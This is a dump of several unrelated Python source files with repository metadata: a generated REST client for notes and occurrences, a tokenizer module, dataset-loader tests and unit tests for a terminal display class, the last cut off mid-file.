(required) :param ApiCreateOperationRequest body: (required) :return: LongrunningOperation If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.create_operation_with_http_info(parent, body, **kwargs) # noqa: E501 else: (data) = self.create_operation_with_http_info(parent, body, **kwargs) # noqa: E501 return data def create_operation_with_http_info(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Operation`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.create_operation_with_http_info(parent, body, async=True) >>> result = thread.get() :param async bool :param str parent: (required) :param ApiCreateOperationRequest body: (required) :return: LongrunningOperation If the method is called asynchronously, returns the request thread. """ all_params = ['parent', 'body'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_operation" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'parent' is set if ('parent' not in params or params['parent'] is None): raise ValueError("Missing the required parameter `parent` when calling `create_operation`") # noqa: E501 # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `create_operation`") # noqa: E501 collection_formats = {} path_params = {} if 'parent' in params: path_params['parent'] = params['parent'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{parent}/operations', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='LongrunningOperation', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_occurrence_note(self, name, **kwargs): # noqa: E501 """Gets the `Note` attached to the given `Occurrence`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.get_occurrence_note(name, async=True) >>> result = thread.get() :param async bool :param str name: (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.get_occurrence_note_with_http_info(name, **kwargs) # noqa: E501 else: (data) = self.get_occurrence_note_with_http_info(name, **kwargs) # noqa: E501 return data def get_occurrence_note_with_http_info(self, name, **kwargs): # noqa: E501 """Gets the `Note` attached to the given `Occurrence`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.get_occurrence_note_with_http_info(name, async=True) >>> result = thread.get() :param async bool :param str name: (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ all_params = ['name'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_occurrence_note" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `get_occurrence_note`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{name}/notes', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNote', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def list_note_occurrences(self, name, **kwargs): # noqa: E501 """Lists `Occurrences` referencing the specified `Note`. Use this method to get all occurrences referencing your `Note` across all your customer projects. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.list_note_occurrences(name, async=True) >>> result = thread.get() :param async bool :param str name: (required) :param str filter: The filter expression. :param int page_size: Number of notes to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListNoteOccurrencesResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.list_note_occurrences_with_http_info(name, **kwargs) # noqa: E501 else: (data) = self.list_note_occurrences_with_http_info(name, **kwargs) # noqa: E501 return data def list_note_occurrences_with_http_info(self, name, **kwargs): # noqa: E501 """Lists `Occurrences` referencing the specified `Note`. Use this method to get all occurrences referencing your `Note` across all your customer projects. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.list_note_occurrences_with_http_info(name, async=True) >>> result = thread.get() :param async bool :param str name: (required) :param str filter: The filter expression. :param int page_size: Number of notes to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListNoteOccurrencesResponse If the method is called asynchronously, returns the request thread. """ all_params = ['name', 'filter', 'page_size', 'page_token'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_note_occurrences" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `list_note_occurrences`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] if 'filter' in params: query_params.append(('filter', params['filter'])) # noqa: E501 if 'page_size' in params: query_params.append(('page_size', params['page_size'])) # noqa: E501 if 'page_token' in params: query_params.append(('page_token', params['page_token'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{name}/occurrences', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiListNoteOccurrencesResponse', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def list_notes(self, parent, **kwargs): # noqa: E501 """Lists all `Notes` for a given project. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.list_notes(parent, async=True) >>> result = thread.get() :param async bool :param str parent: (required) :param str filter: The filter expression. :param int page_size: Number of notes to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListNotesResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.list_notes_with_http_info(parent, **kwargs) # noqa: E501 else: (data) = self.list_notes_with_http_info(parent, **kwargs) # noqa: E501 return data def list_notes_with_http_info(self, parent, **kwargs): # noqa: E501 """Lists all `Notes` for a given project. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.list_notes_with_http_info(parent, async=True) >>> result = thread.get() :param async bool :param str parent: (required) :param str filter: The filter expression. :param int page_size: Number of notes to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListNotesResponse If the method is called asynchronously, returns the request thread. """ all_params = ['parent', 'filter', 'page_size', 'page_token'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_notes" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'parent' is set if ('parent' not in params or params['parent'] is None): raise ValueError("Missing the required parameter `parent` when calling `list_notes`") # noqa: E501 collection_formats = {} path_params = {} if 'parent' in params: path_params['parent'] = params['parent'] # noqa: E501 query_params = [] if 'filter' in params: query_params.append(('filter', params['filter'])) # noqa: E501 if 'page_size' in params: query_params.append(('page_size', params['page_size'])) # noqa: E501 if 'page_token' in params: query_params.append(('page_token', params['page_token'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{parent}/notes', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiListNotesResponse', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def list_occurrences(self, parent, **kwargs): # noqa: E501 """Lists active `Occurrences` for a given project matching the filters. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.list_occurrences(parent, async=True) >>> result = thread.get() :param async bool :param str parent: (required) :param str filter: The filter expression. :param int page_size: Number of occurrences to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListOccurrencesResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.list_occurrences_with_http_info(parent, **kwargs) # noqa: E501 else: (data) = self.list_occurrences_with_http_info(parent, **kwargs) # noqa: E501 return data def list_occurrences_with_http_info(self, parent, **kwargs): # noqa: E501 """Lists active `Occurrences` for a given project matching the filters. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.list_occurrences_with_http_info(parent, async=True) >>> result = thread.get() :param async bool :param str parent: (required) :param str filter: The filter expression. :param int page_size: Number of occurrences to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListOccurrencesResponse If the method is called asynchronously, returns the request thread. """ all_params = ['parent', 'filter', 'page_size', 'page_token'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_occurrences" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'parent' is set if ('parent' not in params or params['parent'] is None): raise ValueError("Missing the required parameter `parent` when calling `list_occurrences`") # noqa: E501 collection_formats = {} path_params = {} if 'parent' in params: path_params['parent'] = params['parent'] # noqa: E501 query_params = [] if 'filter' in params: query_params.append(('filter', params['filter'])) # noqa: E501 if 'page_size' in params: query_params.append(('page_size', params['page_size'])) # noqa: E501 if 'page_token' in params: query_params.append(('page_token', params['page_token'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{parent}/occurrences', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiListOccurrencesResponse', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def update_note(self, name, body, **kwargs): # noqa: E501 """Updates an existing `Note`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.update_note(name, body, async=True) >>> result = thread.get() :param async bool :param str name: (required) :param ApiNote body: (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.update_note_with_http_info(name, body, **kwargs) # noqa: E501 else: (data) = self.update_note_with_http_info(name, body, **kwargs) # noqa: E501 return data def update_note_with_http_info(self, name, body, **kwargs): # noqa: E501 """Updates an existing `Note`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.update_note_with_http_info(name, body, async=True) >>> result = thread.get() :param async bool :param str name: (required) :param ApiNote body: (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ all_params = ['name', 'body'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method update_note" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `update_note`") # noqa: E501 # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `update_note`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{name}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNote', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

39.527873

206

0.6

3,945

34,745

5.084664

0.049176

0.050252

0.022334

0.028715

0.963956

0.961713

0.956827

0.951194

0.948701

0.947505

0

0.020549

0.30249

34,745

878

207

39.572893

0.807138

0.068298

0

0.822547

1

0

0.185566

0.038851

0

null

0

0.008351

null

0

null

0

1

0

1

0

null

0

1

0

9

bff242e1cb82ab11cb8b5777d8e0dd8ab6f59ed3

169

py

Python

python/testData/regexp/redundantEscape.py

Sajaki/intellij-community

6748af2c40567839d11fd652ec77ba263c074aad

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/regexp/redundantEscape.py

Sajaki/intellij-community

6748af2c40567839d11fd652ec77ba263c074aad

[ "Apache-2.0" ]

1

2020-07-30T19:04:47.000Z

python/testData/regexp/redundantEscape.py

bradleesand/intellij-community

750ff9c10333c9c1278c00dbe8d88c877b1b9749

[ "Apache-2.0" ]

1

2020-10-15T05:56:42.000Z

import re re.compile(r"<warning descr="Redundant character escape '\}' in RegExp">\}</warning><warning descr="Redundant character escape '\]' in RegExp">\]</warning>");

56.333333

158

0.710059

21

169

5.714286

0.52381

0.2

0.35

0.5

0.85

0

0.088757

169

3

158

56.333333

0.779221

0

0.352941

0.123529

0

null

0

0.5

null

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

10

87225366049a0815adc0282187dc50fe31ec7ce9

217

py

Python

qiqc/preprocessing/modules/tokenizers/word.py

k-fujikawa/Kaggle-Quora-Insincere-Questions-Classification

ef43ba60f23eea919f2b0f4b4f351bcaf72df7a3

[ "MIT" ]

55

2019-02-23T17:12:09.000Z

2021-07-05T11:41:22.000Z

qiqc/preprocessing/modules/tokenizers/word.py

k-fujikawa/Kaggle-Quora-Insincere-Questions-Classification

ef43ba60f23eea919f2b0f4b4f351bcaf72df7a3

[ "MIT" ]

null

qiqc/preprocessing/modules/tokenizers/word.py

k-fujikawa/Kaggle-Quora-Insincere-Questions-Classification

ef43ba60f23eea919f2b0f4b4f351bcaf72df7a3

[ "MIT" ]

15

2019-02-25T00:18:42.000Z

2022-01-31T10:13:26.000Z

import nltk from qiqc.registry import register_tokenizer from _qiqc.preprocessing.modules.tokenizers.word import cysplit register_tokenizer('space')(cysplit) register_tokenizer('word_tokenize')(nltk.word_tokenize)

24.111111

63

0.847926

27

217

6.592593

0.518519

0.286517

0.269663

0

0.069124

217

8

64

27.125

0.881188

0

0.082949

0

1

0

true

0

0.6

0

0.6

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

8734b48c87f3bfb363a9542c5fb2e89c4882db5a

4,041

py

Python

tests/datamodules/test_language_modeling.py

HaotianUpenn/scatterbrain

c026128d7362ae627641d11d4e5627bc1f400eb1

[ "Apache-2.0" ]

49

2021-12-07T11:51:49.000Z

2022-03-12T20:07:32.000Z

tests/datamodules/test_language_modeling.py

HaotianUpenn/scatterbrain

c026128d7362ae627641d11d4e5627bc1f400eb1

[ "Apache-2.0" ]

7

2021-12-07T11:51:35.000Z

2022-02-07T14:36:08.000Z

tests/datamodules/test_language_modeling.py

HaotianUpenn/scatterbrain

c026128d7362ae627641d11d4e5627bc1f400eb1

[ "Apache-2.0" ]

6

2021-12-16T09:24:09.000Z

2022-03-14T04:59:27.000Z

import os from pathlib import Path current_dir = Path(__file__).parent.absolute() import pytest from munch import Munch import torch from src.datamodules.language_modeling import WikiText2, WikiText103 def div_up(x: int, y: int) -> int: return (x + y - 1) // y class TestWikiText2: @pytest.mark.parametrize('vocab_type', ['word', 'bpe']) def test_dims(self, vocab_type): batch_size = 32 max_length = 192 seed = 2357 num_shards = 8 data_dir = Path(os.getenv('DATA_DIR', current_dir.parent.parent / 'data')) / 'wikitext-2' datamodule = WikiText2(data_dir, vocab_type=vocab_type, batch_size=batch_size, max_length=max_length, roll_seed=seed, batch_first=True) # Fake a trainer datamodule.trainer = Munch(global_rank=2, world_size=num_shards) datamodule.prepare_data() datamodule.setup(stage='fit') train_loader = datamodule.train_dataloader() val_loader = datamodule.val_dataloader() datamodule.setup(stage='test') test_loader = datamodule.test_dataloader() if vocab_type == 'word': train_len = 2088628 val_len = 217646 test_len = 245569 # Subtract 1 because the target is 1 off from the dataset assert len(train_loader) == div_up(train_len - 1, batch_size * num_shards * max_length) assert len(val_loader) == div_up(val_len - 1, batch_size * num_shards * max_length) assert len(test_loader) == div_up(test_len - 1, batch_size * num_shards * max_length) for loader in [train_loader, val_loader, test_loader]: x, y, length, _ = next(iter(loader)) assert x.dim() == 2 assert x.shape[0] == batch_size and x.shape[1] <= max_length assert x.dtype == torch.long assert y.dim() == 2 assert y.shape[0] == batch_size and y.shape[1] <= max_length assert y.dtype == torch.long assert isinstance(length, int) assert length <= max_length and length <= x.shape[1] class TestWikiText103: @pytest.mark.parametrize('vocab_type', ['word', 'bpe']) def test_dims(self, vocab_type): batch_size = 32 max_length = 192 seed = 2357 num_shards = 8 data_dir = Path(os.getenv('DATA_DIR', current_dir.parent.parent / 'data')) / 'wikitext-103' datamodule = WikiText103(data_dir, vocab_type=vocab_type, batch_size=batch_size, max_length=max_length, roll_seed=seed, batch_first=True) # Fake a trainer datamodule.trainer = Munch(global_rank=2, world_size=num_shards) datamodule.prepare_data() datamodule.setup(stage='fit') train_loader = datamodule.train_dataloader() val_loader = datamodule.val_dataloader() datamodule.setup(stage='test') test_loader = datamodule.test_dataloader() if vocab_type == 'word': train_len = 103227021 val_len = 217646 test_len = 245569 # Subtract 1 because the target is 1 off from the dataset assert len(train_loader) == div_up(train_len - 1, batch_size * num_shards * max_length) assert len(val_loader) == div_up(val_len - 1, batch_size * num_shards * max_length) assert len(test_loader) == div_up(test_len - 1, batch_size * num_shards * max_length) for loader in [train_loader, val_loader, test_loader]: x, y, length, _ = next(iter(loader)) assert x.dim() == 2 assert x.shape[0] == batch_size and x.shape[1] <= max_length assert x.dtype == torch.long assert y.dim() == 2 assert y.shape[0] == batch_size and y.shape[1] <= max_length assert y.dtype == torch.long assert isinstance(length, int) assert length <= max_length and length <= x.shape[1]

42.09375

99

0.609255

521

4,041

4.485605

0.1881

0.06932

0.044502

0.033376

0.875481

0

0.035939

0.29077

4,041

95

100

42.536842

0.779484

0.034892

0

0.78481

0

0.026187

0

0.278481

1

0.037975

false

0

0.075949

0.012658

0.151899

0

null

0

1

0

1

0

null

0

7

5ea4180bd084ae8a1fcbd0f32042957669854c0c

110

py

Python

steward_fastapi/core/authentication/__init__.py

AulonSal/steward-fastapi

37772ff19852ec8ab80d715b74c5a25d59f65de2

[ "Unlicense" ]

null

steward_fastapi/core/authentication/__init__.py

AulonSal/steward-fastapi

37772ff19852ec8ab80d715b74c5a25d59f65de2

[ "Unlicense" ]

null

steward_fastapi/core/authentication/__init__.py

AulonSal/steward-fastapi

37772ff19852ec8ab80d715b74c5a25d59f65de2

[ "Unlicense" ]

null

# from .oauth import oauth2_scheme, Agent, get_current_agent, fake_agents_db, AgentInDB from .oauth import *

27.5

87

0.8

16

110

5.1875

0.75

0.216867

0.361446

0

0.010417

0.127273

110

3

88

36.666667

0.854167

0.772727

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

0ddd22be33a40870c98919dc2a6ade14b65db5c2

186

py

Python

fsetools/tests/test_lib_fse_activation_hd.py

fsepy/fsetools

6b6c647912551680109a84d8640b9cfbe7970970

[ "Apache-2.0" ]

1

2020-02-25T21:47:56.000Z

fsetools/tests/test_lib_fse_activation_hd.py

fsepy/fsetools

6b6c647912551680109a84d8640b9cfbe7970970

[ "Apache-2.0" ]

12

2020-02-24T10:10:57.000Z

2020-09-18T11:18:08.000Z

fsetools/tests/test_lib_fse_activation_hd.py

fsepy/fsetools

6b6c647912551680109a84d8640b9cfbe7970970

[ "Apache-2.0" ]

null

from fsetools.lib.fse_activation_hd import _test_heat_detector_activation_ceiling_pd7974 as test_heat_detector_activation_ceiling_pd7974 test_heat_detector_activation_ceiling_pd7974()

37.2

136

0.930108

26

186

5.961538

0.5

0.154839

0.309677

0.503226

0.754839

0

0.067797

0.048387

186

4

137

46.5

0.80791

0

1

0

true

0

0.5

0

0.5

0

1

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

7

216ed3821ea71d43331c94a7696c3728c746f0aa

36,176

py

Python

tests/test_display.py

jmaynard/oec

d30aa678aa3654e850ba7f805ceeb697fab4164c

[ "0BSD" ]

null

tests/test_display.py

jmaynard/oec

d30aa678aa3654e850ba7f805ceeb697fab4164c

[ "0BSD" ]

null

tests/test_display.py

jmaynard/oec

d30aa678aa3654e850ba7f805ceeb697fab4164c

[ "0BSD" ]

null

import unittest from unittest.mock import Mock, patch import context from oec.display import Dimensions, Display, StatusLine, BufferedDisplay, encode_ascii_character, encode_ebcdic_character, encode_string class DisplayClearTestCase(unittest.TestCase): def setUp(self): self.terminal = Mock() dimensions = Dimensions(24, 80) self.display = Display(self.terminal, dimensions, None) self.display.write = Mock(wraps=self.display.write) self.display._load_address_counter = Mock(wraps=self.display._load_address_counter) patcher = patch('oec.display.read_address_counter_hi') self.read_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.read_address_counter_lo') self.read_address_counter_lo_mock = patcher.start() patcher = patch('oec.display.load_address_counter_hi') self.load_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.load_address_counter_lo') self.load_address_counter_lo_mock = patcher.start() patcher = patch('oec.display.write_data') self.write_data_mock = patcher.start() patcher = patch('oec.display.eab_write_alternate') self.eab_write_alternate_mock = patcher.start() self.addCleanup(patch.stopall) def test_excluding_status_line_with_no_eab_feature(self): # Act self.display.clear(clear_status_line=False) # Assert self.display.write.assert_called_with((b'\x00', 1920), None, address=80) self.display._load_address_counter.assert_called_with(80, True) def test_excluding_status_line_with_eab(self): # Arrange self.display.eab_address = 7 # Act self.display.clear(clear_status_line=False) # Assert self.display.write.assert_called_with((b'\x00', 1920), (b'\x00', 1920), address=80) self.display._load_address_counter.assert_called_with(80, True) def test_including_status_line_with_no_eab_feature(self): # Act self.display.clear(clear_status_line=True) # Assert self.display.write.assert_called_with((b'\x00', 2000), None, address=0) self.display._load_address_counter.assert_called_with(80, True) def test_including_status_line_with_eab(self): # Arrange self.display.eab_address = 7 # Act self.display.clear(clear_status_line=True) # Assert self.display.write.assert_called_with((b'\x00', 2000), (b'\x00', 2000), address=0) self.display._load_address_counter.assert_called_with(80, True) class DisplayMoveCursorTestCase(unittest.TestCase): def setUp(self): self.terminal = Mock() dimensions = Dimensions(24, 80) self.display = Display(self.terminal, dimensions, None) self.display._load_address_counter = Mock(wraps=self.display._load_address_counter) patcher = patch('oec.display.load_address_counter_hi') self.load_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.load_address_counter_lo') self.load_address_counter_lo_mock = patcher.start() self.addCleanup(patch.stopall) def test_with_address(self): # Act self.display.move_cursor(address=895) # Assert self.assertEqual(self.display.address_counter, 895) self.display._load_address_counter.assert_called_with(895, False) def test_with_index(self): # Act self.display.move_cursor(index=815) # Assert self.assertEqual(self.display.address_counter, 895) self.display._load_address_counter.assert_called_with(895, False) def test_with_row_and_column(self): # Act self.display.move_cursor(row=10, column=15) # Assert self.assertEqual(self.display.address_counter, 895) self.display._load_address_counter.assert_called_with(895, False) def test_force(self): # Act self.display.move_cursor(index=815, force_load=True) # Assert self.assertEqual(self.display.address_counter, 895) self.display._load_address_counter.assert_called_with(895, True) class DisplayWriteTestCase(unittest.TestCase): def setUp(self): self.terminal = Mock() dimensions = Dimensions(24, 80) self.display = Display(self.terminal, dimensions, None) self.display._read_address_counter = Mock(wraps=self.display._read_address_counter) self.display._load_address_counter = Mock(wraps=self.display._load_address_counter) patcher = patch('oec.display.read_address_counter_hi') self.read_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.read_address_counter_lo') self.read_address_counter_lo_mock = patcher.start() patcher = patch('oec.display.load_address_counter_hi') self.load_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.load_address_counter_lo') self.load_address_counter_lo_mock = patcher.start() patcher = patch('oec.display.write_data') self.write_data_mock = patcher.start() patcher = patch('oec.display.eab_write_alternate') self.eab_write_alternate_mock = patcher.start() self.addCleanup(patch.stopall) def test_no_eab_feature(self): # Act and assert with self.assertRaisesRegex(RuntimeError, 'No EAB feature'): self.display.write(bytes.fromhex('01 02 03'), (b'\x00', 3)) def test_regen_eab_data_mismatch_format(self): # Arrange self.display.eab_address = 7 # Act and assert with self.assertRaisesRegex(ValueError, 'must be provided in same form'): self.display.write(bytes.fromhex('01 02 03'), (b'\x00', 3)) def test_regen_eab_data_mismatch_length(self): # Arrange self.display.eab_address = 7 # Act and assert with self.assertRaisesRegex(ValueError, 'data length must be equal'): self.display.write(bytes.fromhex('01 02 03'), bytes.fromhex('01 02')) def test_regen_eab_data_mismatch_length_repeat(self): # Arrange self.display.eab_address = 7 # Act and assert with self.assertRaisesRegex(ValueError, 'pattern length must be equal'): self.display.write((bytes.fromhex('01 02 03'), 3), (b'\x00', 3)) def test_regen_eab_data_mismatch_count_repeat(self): # Arrange self.display.eab_address = 7 # Act and assert with self.assertRaisesRegex(ValueError, 'pattern count must be equal'): self.display.write((bytes.fromhex('01 02 03'), 3), (bytes.fromhex('01 02 03'), 2)) def test_if_current_address_unknown(self): # Arrange self.assertIsNone(self.display.address_counter) # Act self.display.write(bytes.fromhex('01 02 03'), None) # Assert self.assertIsNone(self.display.address_counter) self.display._read_address_counter.assert_not_called() self.display._load_address_counter.assert_not_called() def test_address_if_current_address_unknown(self): # Arrange self.assertIsNone(self.display.address_counter) # Act self.display.write(bytes.fromhex('01 02 03'), None, address=80) # Assert self.assertEqual(self.display.address_counter, 83) self.display._read_address_counter.assert_not_called() self.display._load_address_counter.assert_called_with(80, force_load=False) def test_address_if_change(self): # Arrange self.display.address_counter = 160 # Act self.display.write(bytes.fromhex('01 02 03'), None, address=80) # Assert self.assertEqual(self.display.address_counter, 83) self.display._read_address_counter.assert_not_called() self.display._load_address_counter.assert_called_with(80, force_load=False) def test_address_if_no_change(self): # Arrange self.display.address_counter = 80 # Act self.display.write(bytes.fromhex('01 02 03'), None, address=80) # Assert self.assertEqual(self.display.address_counter, 83) self.display._read_address_counter.assert_not_called() self.display._load_address_counter.assert_called_with(80, force_load=False) def test_restore_original_address_if_current_address_unknown(self): # Arrange self.assertIsNone(self.display.address_counter) self.read_address_counter_hi_mock.return_value = 0 self.read_address_counter_lo_mock.return_value = 160 # Act self.display.write(bytes.fromhex('01 02 03'), None, restore_original_address=True) # Assert self.assertEqual(self.display.address_counter, 160) self.display._read_address_counter.assert_called_once() self.display._load_address_counter.assert_called_with(160, force_load=True) def test_restore_original_address_if_current_address_known(self): # Arrange self.display.address_counter = 160 # Act self.display.write(bytes.fromhex('01 02 03'), None, restore_original_address=True) # Assert self.assertEqual(self.display.address_counter, 160) self.display._read_address_counter.assert_not_called() self.display._load_address_counter.assert_called_with(160, force_load=True) def test_regen_only(self): # Arrange self.display.address_counter = 80 # Act self.display.write(bytes.fromhex('01 02 03'), None) # Assert self.write_data_mock.assert_called_with(self.terminal.interface, bytes.fromhex('01 02 03'), jumbo_write_strategy=None) def test_regen_only_repeat(self): # Arrange self.display.address_counter = 80 # Act self.display.write((bytes.fromhex('01 02 03'), 2), None) # Assert self.write_data_mock.assert_called_with(self.terminal.interface, (bytes.fromhex('01 02 03'), 2), jumbo_write_strategy=None) def 